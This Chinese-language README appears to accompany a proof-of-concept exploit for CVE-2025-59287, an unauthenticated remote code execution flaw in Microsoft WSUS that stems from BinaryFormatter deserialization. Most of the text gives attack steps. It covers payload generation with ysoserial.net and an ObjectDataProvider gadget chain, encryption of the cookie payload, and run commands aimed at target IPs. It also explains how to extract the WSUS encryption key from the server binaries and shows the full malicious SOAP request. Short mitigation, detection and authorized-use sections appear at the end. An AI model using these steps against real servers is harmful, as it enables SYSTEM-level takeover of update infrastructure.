
CVE-2025-59287 的概念验证漏洞利用程序,该漏洞是 WSUS 中通过不安全的 BinaryFormatter 反序列化导致的严重未认证远程代码执行漏洞,可利用特制的加密 Cookie 获取 SYSTEM 权限。
CVE-2025-59287 是 Microsoft Windows Server Update Services (WSUS) 中的一个严重远程代码执行 (RCE) 漏洞。该漏洞是由于 EncryptionHelper.DecryptData() 方法中通过 BinaryFormatter 对 AuthorizationCookie 数据进行不安全反序列化所致。
影响:未认证攻击者可通过向 GetCookie() 端点发送恶意加密 Cookie,以 SYSTEM 权限 实现远程代码执行。
CVSS 评分:严重(9.8)
BinaryFormatter.Deserialize(),且未进行适当验证┌─────────────────┐
│ 攻击者 │
│ │
│ 1. 生成 │
│ BinaryFmt │
│ 载荷 │
│ │
│ 2. 加密 │
│ 载荷 │
│ │
│ 3. 发送 SOAP │
│ 请求 │
└────────┬────────┘
│
▼
┌─────────────────┐
│ WSUS 服务器 │
│ │
│ GetCookie() │
│ 端点 │
│ │
│ DecryptData() │◄─── 存在漏洞
│ │
│ BinaryFormatter│◄─── 不安全反序列化
│ Deserialize() │
│ │
│ 执行 │◄─── 以 SYSTEM 权限 RCE
│ 载荷 │
└─────────────────┘
exploit-poc/
├── wsus_exploit.py # 主漏洞利用脚本
├── BinaryFormatterPayloadGenerator.cs # .NET 载荷生成器(C#)
├── encrypt_payload.py # WSUS 加密辅助工具
├── requirements.txt # Python 依赖
└── README.md # 本文件
pip install -r requirements.txt
ysoserial.net 作为替代方案选项 A:使用提供的 C# 生成器
# 编译生成器
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
# 生成载荷
BinaryFormatterPayloadGenerator.exe calc.exe
# 创建:payload_YYYYMMDDHHMMSS.bin
选项 B:使用 ysoserial.net(推荐)
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
python encrypt_payload.py payload.bin -o encrypted_cookie.txt
重要提示:encrypt_payload.py 中的加密密钥是占位符。对于真实漏洞利用,您必须:
encrypt_payload.py# 使用载荷文件(将即时加密)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin
# 使用预加密 Cookie
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
# 使用 HTTPS(端口 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
# 一步完成生成、加密和漏洞利用
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <TARGET_IP> -f payload_*.bin
对于真实漏洞利用,必须从 WSUS 二进制文件中提取加密密钥。
定位 WSUS DLL:
%ProgramFiles%\Update Services\WebServices\bin\
或 IIS Web 目录:
%SystemDrive%\inetpub\wwwroot\wsusadmin\
在 dnSpy 中打开(免费的 .NET 反编译器):
Microsoft.UpdateServices.WebServices.dll搜索 EncryptionHelper:
Microsoft.UpdateServices.WebServices 命名空间EncryptionHelper 类DecryptData() 和 EncryptData() 方法常见模式:
使用 WinDbg 或 x64dbg:
EncryptionHelper.DecryptData() 上设置断点使用 Process Monitor:
使用 IDA Pro 或 Ghidra:
使用 strings 工具:
strings Microsoft.UpdateServices.WebServices.dll | grep -i key
strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
获得实际密钥后,更新 encrypt_payload.py:
# 替换 encrypt_wsus_cookie() 中的这一行:
key_material = b"WSUS_Cookie_Encryption_Key_v1.0" # 占位符
# 替换为实际密钥:
key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"
或通过命令行传递:
python encrypt_payload.py payload.bin -k "ACTUAL_KEY"
┌─────────────────────────────────────────────────────────────┐
│ 1. 生成 BinaryFormatter 载荷 │
│ ObjectDataProvider → Process.Start() → 命令执行 │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 2. 加密载荷 │
│ 使用 WSUS 加密密钥进行 AES-128-CBC 加密 │
│ Base64 编码用于传输 │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 3. 创建 SOAP 请求 │
│ AuthorizationCookie 头包含加密载荷 │
│ SOAP 正文中的 GetCookie() 方法 │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 4. 发送至 WSUS 端点 │
│ POST /ClientWebService/ClientWebService.asmx │
│ 端口 8530(HTTP)或 8531(HTTPS) │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 5. WSUS 处理 │
│ DecryptData() 解密 Cookie │
│ BinaryFormatter.Deserialize() 执行载荷 │
│ → 以 SYSTEM 权限 RCE │
└─────────────────────────────────────────────────────────────┘
POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <TARGET>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
BASE64_ENCRYPTED_BINARYFORMATTER_PAYLOAD
</AuthorizationCookie>
</soap:Header>
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<cookieType>AuthorizationCookie</cookieType>
</GetCookie>
</soap:Body>
</soap:Envelope>
该漏洞利用使用 ObjectDataProvider gadget 链:
ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new Process();
provider.MethodName = "Start";
provider.MethodParameters = new Collection<object> { processStartInfo };
当 BinaryFormatter.Deserialize() 处理此内容时,它会自动:
ObjectDataProviderObjectInstance(Process)上调用 MethodName("Start")MethodParameters(ProcessStartInfo)应用 Microsoft 安全更新:立即修补
临时变通方案:如果不需要 WSUS,请阻止端口
# 阻止 WSUS 端口的入站流量
New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
网络分段:限制对 WSUS 端点的访问
替换 BinaryFormatter:Microsoft 应替换为安全的序列化方式
System.Text.Json 或 System.Xml.Serialization输入验证:添加全面的验证
最小权限原则:以最小权限运行 WSUS 服务
检查 WSUS 日志:
%ProgramFiles%\Update Services\LogFiles\
查找:
监控:
/ClientWebService/ClientWebService.asmx 的 SOAP 请求⚠️ 警告:此漏洞利用代码仅供授权安全测试使用。
✅ 合法用途:
❌ 非法用途:
未经授权使用此漏洞利用可能导致刑事起诉。请负责任且合乎道德地使用。
请记住:始终在隔离、受控的环境中测试。切勿针对您不拥有或未经明确许可的系统使用。